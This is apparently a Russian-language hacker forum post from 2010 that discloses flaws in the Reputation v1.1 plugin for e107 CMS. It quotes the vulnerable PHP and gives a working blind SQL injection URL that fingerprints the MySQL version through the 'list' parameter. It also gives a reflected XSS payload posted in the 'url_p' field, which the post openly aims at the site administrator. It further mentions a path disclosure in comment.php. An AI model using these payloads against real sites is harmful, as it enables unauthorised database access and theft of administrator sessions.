Reputation v1.1
23:34 05-Feb-10
Blind SQL inj
Vuln file: /e107_plugins/reputation/reputation.php
PHP код:
...if($pref['reputation_show']) {
if($_GET['list']) {
$user = get_user_data($_GET['list']);
$repdb = new db();
$repdb->db_Connect($mySQLserver, $mySQLuser, $mySQLpassword, $mySQLdefaultdb);
$repdb->db_Select("reputation", "reputation_value", "reputation_to_id='".$_GET['list']."'");
while($trr = $repdb->db_Fetch()) {
$total_rep = $total_rep + $trr['reputation_value'];
}...
У меня 5 мускуль.
Result:
http://[host]/[path]/e107_plugins/reputation/reputation.php?list=1'+and+substring(version(),1,1 )=5
общая репа выводиться!
http://[host]/[path]/e107_plugins/reputation/reputation.php?list=1'+and+substring(version(),1,1 )=4
общая репа не выводиться!
условие:
mg=off
пасивная XSS - травим админа!
/e107_plugins/reputation/reputation.php
PHP код:
...<div style='margin: 4px; padding: 4px; border: 1px solid red; text-align: center;'>
<input type='hidden' name='repto' value='".$user['user_id']."' />
<input type='hidden' name='url' value='".$_POST["url_p"]."' />
<input type='hidden' name='repfrom' value='".USERID."' />
<input type='hidden' name='rand_num' value='".$sec_img->random_number."' />".$sec_img->r_image()."
<br />...
http://[host]/[path]/e107_plugins/reputation/reputation.php?add=anything
постом шлем url_p=' /><script>alert(/XSS/)</script>
Там дальше может блинд есть в инсерте, только толку от него когда нет вывода ошибки.
ps CMS e107
http://[host]/[path]/comment.php - у меня пути были.